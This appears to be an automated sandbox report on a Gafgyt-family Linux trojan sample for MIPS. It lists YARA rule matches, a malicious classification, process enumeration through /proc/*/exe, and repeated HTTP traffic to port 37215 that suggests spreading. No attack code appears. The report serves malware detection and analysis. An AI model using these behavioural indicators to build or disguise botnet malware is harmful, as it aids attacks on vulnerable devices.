Source: 5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5494, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5494, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5499, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5499, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5503, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5503, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5506, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5506, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5510, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5510, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5515, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5515, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5516, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.mips.elf PID: 5516, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3122/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3117/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3114/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/914/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/518/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/519/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/917/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3134/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3375/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3132/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3095/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1745/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1866/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1588/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/884/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1982/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/765/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3246/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/767/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1906/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/802/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/803/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1748/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3420/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1482/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/490/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1480/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1755/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1238/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1875/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3413/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1751/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1872/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/2961/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1475/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/656/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/778/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/657/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/658/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/659/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/418/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/936/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/419/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/816/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/5439/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1879/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1891/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3310/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3153/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/780/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/660/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1921/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3704/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3705/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/783/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1765/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/2974/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1400/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1884/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3424/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/2972/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3147/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/2970/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1881/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3146/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3300/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1805/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1925/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1804/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/5328/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1648/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3702/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1922/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3429/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3703/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3442/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3165/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3164/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3163/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3162/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/790/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3161/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/792/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/793/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/672/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1930/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/795/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/674/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1411/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/2984/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/1410/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/797/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/676/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3434/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3158/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/678/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/679/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3170/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/5474/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/5475/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/680/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3208/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3327/exe	Jump to behavior
Source: /tmp/ewe.mips.elf (PID: 5497)	File opened: /proc/3448/exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 37215
